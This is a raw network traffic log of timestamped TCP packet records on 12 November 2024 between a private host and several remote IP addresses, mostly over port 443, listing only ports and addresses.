Nov 12, 2024 17:07:35.990597010 CET	443	49785	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:35.990607977 CET	443	49785	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:35.993061066 CET	49795	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:35.993084908 CET	443	49795	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:35.993371010 CET	49795	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:35.993545055 CET	49795	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:35.993555069 CET	443	49795	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:36.022289991 CET	443	49786	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:36.022559881 CET	443	49786	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:36.022617102 CET	49786	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:36.022670984 CET	49786	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:36.022679090 CET	443	49786	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:36.022708893 CET	49786	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:36.022716999 CET	443	49786	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:36.025687933 CET	49796	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:36.025707960 CET	443	49796	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:36.025794029 CET	49796	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:36.026166916 CET	49796	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:36.026179075 CET	443	49796	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:36.134691000 CET	443	49788	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:36.135000944 CET	49788	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:36.135021925 CET	443	49788	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:36.136265993 CET	443	49788	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:36.136465073 CET	49788	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:36.136689901 CET	49788	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:36.136759043 CET	443	49788	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:36.181744099 CET	49788	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:36.181751013 CET	443	49788	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:36.228611946 CET	49788	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:36.471298933 CET	49797	443	192.168.2.6	40.113.110.67
Nov 12, 2024 17:07:36.471335888 CET	443	49797	40.113.110.67	192.168.2.6
Nov 12, 2024 17:07:36.471494913 CET	49797	443	192.168.2.6	40.113.110.67
Nov 12, 2024 17:07:36.472107887 CET	49797	443	192.168.2.6	40.113.110.67
Nov 12, 2024 17:07:36.472121000 CET	443	49797	40.113.110.67	192.168.2.6
Nov 12, 2024 17:07:36.514000893 CET	443	49791	184.28.90.27	192.168.2.6
Nov 12, 2024 17:07:36.514072895 CET	49791	443	192.168.2.6	184.28.90.27
Nov 12, 2024 17:07:36.515511036 CET	49791	443	192.168.2.6	184.28.90.27
Nov 12, 2024 17:07:36.515522003 CET	443	49791	184.28.90.27	192.168.2.6
Nov 12, 2024 17:07:36.515763044 CET	443	49791	184.28.90.27	192.168.2.6
Nov 12, 2024 17:07:36.555196047 CET	49791	443	192.168.2.6	184.28.90.27
Nov 12, 2024 17:07:36.595333099 CET	443	49791	184.28.90.27	192.168.2.6
Nov 12, 2024 17:07:36.597449064 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:36.597626925 CET	49793	443	192.168.2.6	142.250.186.78
Nov 12, 2024 17:07:36.597640038 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:36.598670959 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:36.598732948 CET	49793	443	192.168.2.6	142.250.186.78
Nov 12, 2024 17:07:36.599538088 CET	49793	443	192.168.2.6	142.250.186.78
Nov 12, 2024 17:07:36.599615097 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:36.599690914 CET	49793	443	192.168.2.6	142.250.186.78
Nov 12, 2024 17:07:36.599701881 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:36.636347055 CET	443	49794	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:36.636883974 CET	49794	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:36.636893988 CET	443	49794	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:36.637336969 CET	49794	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:36.637343884 CET	443	49794	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:36.648519993 CET	49793	443	192.168.2.6	142.250.186.78
Nov 12, 2024 17:07:36.724189043 CET	49798	443	192.168.2.6	142.250.185.110
Nov 12, 2024 17:07:36.724234104 CET	443	49798	142.250.185.110	192.168.2.6
Nov 12, 2024 17:07:36.724287033 CET	49798	443	192.168.2.6	142.250.185.110
Nov 12, 2024 17:07:36.724473000 CET	49798	443	192.168.2.6	142.250.185.110
Nov 12, 2024 17:07:36.724487066 CET	443	49798	142.250.185.110	192.168.2.6
Nov 12, 2024 17:07:36.754951000 CET	443	49796	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:36.755492926 CET	49796	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:36.755517006 CET	443	49796	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:36.756022930 CET	49796	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:36.756027937 CET	443	49796	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:36.767348051 CET	443	49795	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:36.767688036 CET	49795	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:36.767700911 CET	443	49795	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:36.768181086 CET	49795	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:36.768187046 CET	443	49795	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:36.768186092 CET	443	49794	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:36.769006968 CET	443	49794	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:36.769064903 CET	49794	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:36.769177914 CET	49794	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:36.769201040 CET	443	49794	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:36.769211054 CET	49794	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:36.769217014 CET	443	49794	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:36.773927927 CET	49799	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:36.773963928 CET	443	49799	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:36.774024010 CET	49799	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:36.774154902 CET	49799	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:36.774167061 CET	443	49799	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:36.798041105 CET	443	49791	184.28.90.27	192.168.2.6
Nov 12, 2024 17:07:36.798098087 CET	443	49791	184.28.90.27	192.168.2.6
Nov 12, 2024 17:07:36.798202038 CET	49791	443	192.168.2.6	184.28.90.27
Nov 12, 2024 17:07:36.798217058 CET	443	49791	184.28.90.27	192.168.2.6
Nov 12, 2024 17:07:36.798238993 CET	49791	443	192.168.2.6	184.28.90.27
Nov 12, 2024 17:07:36.798243999 CET	443	49791	184.28.90.27	192.168.2.6
Nov 12, 2024 17:07:36.798305988 CET	49791	443	192.168.2.6	184.28.90.27
Nov 12, 2024 17:07:36.798310041 CET	443	49791	184.28.90.27	192.168.2.6
Nov 12, 2024 17:07:36.825505018 CET	49800	443	192.168.2.6	184.28.90.27
Nov 12, 2024 17:07:36.825535059 CET	443	49800	184.28.90.27	192.168.2.6
Nov 12, 2024 17:07:36.825686932 CET	49800	443	192.168.2.6	184.28.90.27
Nov 12, 2024 17:07:36.825959921 CET	49800	443	192.168.2.6	184.28.90.27
Nov 12, 2024 17:07:36.825968981 CET	443	49800	184.28.90.27	192.168.2.6
Nov 12, 2024 17:07:36.846333981 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:36.846376896 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:36.846415043 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:36.846441031 CET	49793	443	192.168.2.6	142.250.186.78
Nov 12, 2024 17:07:36.846452951 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:36.846496105 CET	49793	443	192.168.2.6	142.250.186.78
Nov 12, 2024 17:07:36.846821070 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:36.846863985 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:36.847089052 CET	49793	443	192.168.2.6	142.250.186.78
Nov 12, 2024 17:07:36.847098112 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:36.855431080 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:36.855598927 CET	49793	443	192.168.2.6	142.250.186.78
Nov 12, 2024 17:07:36.855607986 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:36.863239050 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:36.863527060 CET	49805	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:36.868099928 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:36.868458986 CET	80	49805	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:36.868664026 CET	49805	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:36.868664026 CET	49805	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:36.873730898 CET	80	49805	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:36.885329008 CET	443	49796	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:36.885396004 CET	443	49796	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:36.885581970 CET	49796	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:36.885581970 CET	49796	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:36.885664940 CET	49796	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:36.885674953 CET	443	49796	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:36.888859987 CET	49806	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:36.888911009 CET	443	49806	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:36.889276981 CET	49806	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:36.889374971 CET	49806	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:36.889389992 CET	443	49806	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:36.899734020 CET	49793	443	192.168.2.6	142.250.186.78
Nov 12, 2024 17:07:36.899741888 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:36.904350042 CET	443	49795	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:36.904417992 CET	443	49795	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:36.904510975 CET	49795	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:36.904616117 CET	49795	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:36.904616117 CET	49795	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:36.904629946 CET	443	49795	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:36.904639959 CET	443	49795	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:36.906959057 CET	49807	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:36.906991005 CET	443	49807	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:36.907211065 CET	49807	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:36.907344103 CET	49807	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:36.907360077 CET	443	49807	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:36.946583033 CET	49793	443	192.168.2.6	142.250.186.78
Nov 12, 2024 17:07:36.964962959 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:36.965379000 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:36.965593100 CET	49793	443	192.168.2.6	142.250.186.78
Nov 12, 2024 17:07:36.965615034 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:36.966701031 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:36.966876030 CET	49793	443	192.168.2.6	142.250.186.78
Nov 12, 2024 17:07:36.966888905 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:36.970887899 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:36.970968008 CET	49793	443	192.168.2.6	142.250.186.78
Nov 12, 2024 17:07:36.970977068 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:36.979778051 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:36.980036974 CET	49793	443	192.168.2.6	142.250.186.78
Nov 12, 2024 17:07:36.980046034 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.024660110 CET	49793	443	192.168.2.6	142.250.186.78
Nov 12, 2024 17:07:37.026468992 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.071535110 CET	49793	443	192.168.2.6	142.250.186.78
Nov 12, 2024 17:07:37.104767084 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.104827881 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.104866028 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.105000019 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.105022907 CET	49793	443	192.168.2.6	142.250.186.78
Nov 12, 2024 17:07:37.105031967 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.105066061 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.105088949 CET	49793	443	192.168.2.6	142.250.186.78
Nov 12, 2024 17:07:37.105098009 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.105132103 CET	49793	443	192.168.2.6	142.250.186.78
Nov 12, 2024 17:07:37.105201960 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.105994940 CET	49793	443	192.168.2.6	142.250.186.78
Nov 12, 2024 17:07:37.106005907 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.144890070 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.145068884 CET	49793	443	192.168.2.6	142.250.186.78
Nov 12, 2024 17:07:37.145077944 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.197005033 CET	49793	443	192.168.2.6	142.250.186.78
Nov 12, 2024 17:07:37.202351093 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.202485085 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.202765942 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.202768087 CET	49793	443	192.168.2.6	142.250.186.78
Nov 12, 2024 17:07:37.202778101 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.202918053 CET	49793	443	192.168.2.6	142.250.186.78
Nov 12, 2024 17:07:37.204257965 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.223411083 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.223439932 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.223594904 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.223622084 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.223627090 CET	49793	443	192.168.2.6	142.250.186.78
Nov 12, 2024 17:07:37.223650932 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.223681927 CET	49793	443	192.168.2.6	142.250.186.78
Nov 12, 2024 17:07:37.223992109 CET	49793	443	192.168.2.6	142.250.186.78
Nov 12, 2024 17:07:37.263819933 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.321252108 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.321379900 CET	49793	443	192.168.2.6	142.250.186.78
Nov 12, 2024 17:07:37.321381092 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.321396112 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.321496964 CET	49793	443	192.168.2.6	142.250.186.78
Nov 12, 2024 17:07:37.321505070 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.328674078 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.328789949 CET	49793	443	192.168.2.6	142.250.186.78
Nov 12, 2024 17:07:37.328798056 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.342315912 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.342411995 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.342437983 CET	49793	443	192.168.2.6	142.250.186.78
Nov 12, 2024 17:07:37.342443943 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.342453957 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.342541933 CET	49793	443	192.168.2.6	142.250.186.78
Nov 12, 2024 17:07:37.344316006 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.344424009 CET	49793	443	192.168.2.6	142.250.186.78
Nov 12, 2024 17:07:37.382363081 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.431411028 CET	49793	443	192.168.2.6	142.250.186.78
Nov 12, 2024 17:07:37.431425095 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.441330910 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.441380024 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.441409111 CET	49793	443	192.168.2.6	142.250.186.78
Nov 12, 2024 17:07:37.441417933 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.441466093 CET	49793	443	192.168.2.6	142.250.186.78
Nov 12, 2024 17:07:37.447484970 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.461230993 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.461263895 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.461292982 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.461337090 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.461359978 CET	49793	443	192.168.2.6	142.250.186.78
Nov 12, 2024 17:07:37.461369038 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.461433887 CET	49793	443	192.168.2.6	142.250.186.78
Nov 12, 2024 17:07:37.461433887 CET	49793	443	192.168.2.6	142.250.186.78
Nov 12, 2024 17:07:37.501375914 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.512298107 CET	443	49799	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:37.513150930 CET	49799	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:37.513170958 CET	443	49799	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:37.513320923 CET	49799	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:37.513325930 CET	443	49799	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:37.556392908 CET	49793	443	192.168.2.6	142.250.186.78
Nov 12, 2024 17:07:37.556402922 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.561273098 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.561305046 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.561388969 CET	49793	443	192.168.2.6	142.250.186.78
Nov 12, 2024 17:07:37.561397076 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.561486959 CET	49793	443	192.168.2.6	142.250.186.78
Nov 12, 2024 17:07:37.561492920 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.566345930 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.566617966 CET	49793	443	192.168.2.6	142.250.186.78
Nov 12, 2024 17:07:37.566625118 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.580267906 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.580300093 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.580332041 CET	49793	443	192.168.2.6	142.250.186.78
Nov 12, 2024 17:07:37.580358982 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.580840111 CET	49793	443	192.168.2.6	142.250.186.78
Nov 12, 2024 17:07:37.580847025 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.595191956 CET	443	49798	142.250.185.110	192.168.2.6
Nov 12, 2024 17:07:37.595406055 CET	49798	443	192.168.2.6	142.250.185.110
Nov 12, 2024 17:07:37.595431089 CET	443	49798	142.250.185.110	192.168.2.6
Nov 12, 2024 17:07:37.595810890 CET	443	49798	142.250.185.110	192.168.2.6
Nov 12, 2024 17:07:37.595941067 CET	49798	443	192.168.2.6	142.250.185.110
Nov 12, 2024 17:07:37.596549034 CET	443	49798	142.250.185.110	192.168.2.6
Nov 12, 2024 17:07:37.596658945 CET	49798	443	192.168.2.6	142.250.185.110
Nov 12, 2024 17:07:37.597743034 CET	49798	443	192.168.2.6	142.250.185.110
Nov 12, 2024 17:07:37.597743034 CET	49798	443	192.168.2.6	142.250.185.110
Nov 12, 2024 17:07:37.597755909 CET	443	49798	142.250.185.110	192.168.2.6
Nov 12, 2024 17:07:37.597805977 CET	443	49798	142.250.185.110	192.168.2.6
Nov 12, 2024 17:07:37.597837925 CET	49798	443	192.168.2.6	142.250.185.110
Nov 12, 2024 17:07:37.609652996 CET	443	49797	40.113.110.67	192.168.2.6
Nov 12, 2024 17:07:37.609947920 CET	49797	443	192.168.2.6	40.113.110.67
Nov 12, 2024 17:07:37.613935947 CET	49797	443	192.168.2.6	40.113.110.67
Nov 12, 2024 17:07:37.613943100 CET	443	49797	40.113.110.67	192.168.2.6
Nov 12, 2024 17:07:37.614240885 CET	443	49797	40.113.110.67	192.168.2.6
Nov 12, 2024 17:07:37.615993023 CET	49797	443	192.168.2.6	40.113.110.67
Nov 12, 2024 17:07:37.615993023 CET	49797	443	192.168.2.6	40.113.110.67
Nov 12, 2024 17:07:37.616008043 CET	443	49797	40.113.110.67	192.168.2.6
Nov 12, 2024 17:07:37.616182089 CET	49797	443	192.168.2.6	40.113.110.67
Nov 12, 2024 17:07:37.618693113 CET	443	49806	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:37.619950056 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.619995117 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.620045900 CET	49793	443	192.168.2.6	142.250.186.78
Nov 12, 2024 17:07:37.620055914 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.620920897 CET	49806	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:37.620935917 CET	443	49806	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:37.620965958 CET	49793	443	192.168.2.6	142.250.186.78
Nov 12, 2024 17:07:37.621476889 CET	49806	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:37.621481895 CET	443	49806	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:37.642941952 CET	443	49799	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:37.643337965 CET	443	49798	142.250.185.110	192.168.2.6
Nov 12, 2024 17:07:37.643886089 CET	443	49799	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:37.643964052 CET	49799	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:37.643989086 CET	49799	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:37.643989086 CET	49799	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:37.644001007 CET	443	49799	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:37.644010067 CET	443	49799	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:37.646450996 CET	49808	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:37.646492958 CET	443	49808	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:37.646614075 CET	49808	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:37.646801949 CET	49808	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:37.646826982 CET	443	49808	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:37.649782896 CET	49798	443	192.168.2.6	142.250.185.110
Nov 12, 2024 17:07:37.649801970 CET	443	49798	142.250.185.110	192.168.2.6
Nov 12, 2024 17:07:37.651559114 CET	443	49807	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:37.652333021 CET	49807	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:37.652343988 CET	443	49807	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:37.653832912 CET	49807	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:37.653839111 CET	443	49807	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:37.659334898 CET	443	49797	40.113.110.67	192.168.2.6
Nov 12, 2024 17:07:37.678045988 CET	443	49800	184.28.90.27	192.168.2.6
Nov 12, 2024 17:07:37.678196907 CET	49800	443	192.168.2.6	184.28.90.27
Nov 12, 2024 17:07:37.679338932 CET	49800	443	192.168.2.6	184.28.90.27
Nov 12, 2024 17:07:37.679343939 CET	443	49800	184.28.90.27	192.168.2.6
Nov 12, 2024 17:07:37.679578066 CET	443	49800	184.28.90.27	192.168.2.6
Nov 12, 2024 17:07:37.679951906 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.680174112 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.680202007 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.680231094 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.680258036 CET	49793	443	192.168.2.6	142.250.186.78
Nov 12, 2024 17:07:37.680272102 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.680304050 CET	49793	443	192.168.2.6	142.250.186.78
Nov 12, 2024 17:07:37.683646917 CET	49800	443	192.168.2.6	184.28.90.27
Nov 12, 2024 17:07:37.685260057 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.685364008 CET	49793	443	192.168.2.6	142.250.186.78
Nov 12, 2024 17:07:37.685372114 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.697499990 CET	49798	443	192.168.2.6	142.250.185.110
Nov 12, 2024 17:07:37.699155092 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.699179888 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.699249983 CET	49793	443	192.168.2.6	142.250.186.78
Nov 12, 2024 17:07:37.699258089 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.699306011 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.699340105 CET	49793	443	192.168.2.6	142.250.186.78
Nov 12, 2024 17:07:37.699687004 CET	49793	443	192.168.2.6	142.250.186.78
Nov 12, 2024 17:07:37.700923920 CET	49793	443	192.168.2.6	142.250.186.78
Nov 12, 2024 17:07:37.700933933 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:37.727335930 CET	443	49800	184.28.90.27	192.168.2.6
Nov 12, 2024 17:07:37.747641087 CET	443	49806	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:37.748075962 CET	443	49806	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:37.748210907 CET	49806	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:37.748286009 CET	49806	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:37.748286009 CET	49806	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:37.748297930 CET	443	49806	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:37.748306036 CET	443	49806	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:37.750936985 CET	49809	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:37.750971079 CET	443	49809	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:37.751389980 CET	49809	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:37.751389980 CET	49809	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:37.751429081 CET	443	49809	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:37.787014008 CET	443	49807	13.107.246.45	192.168.2.6
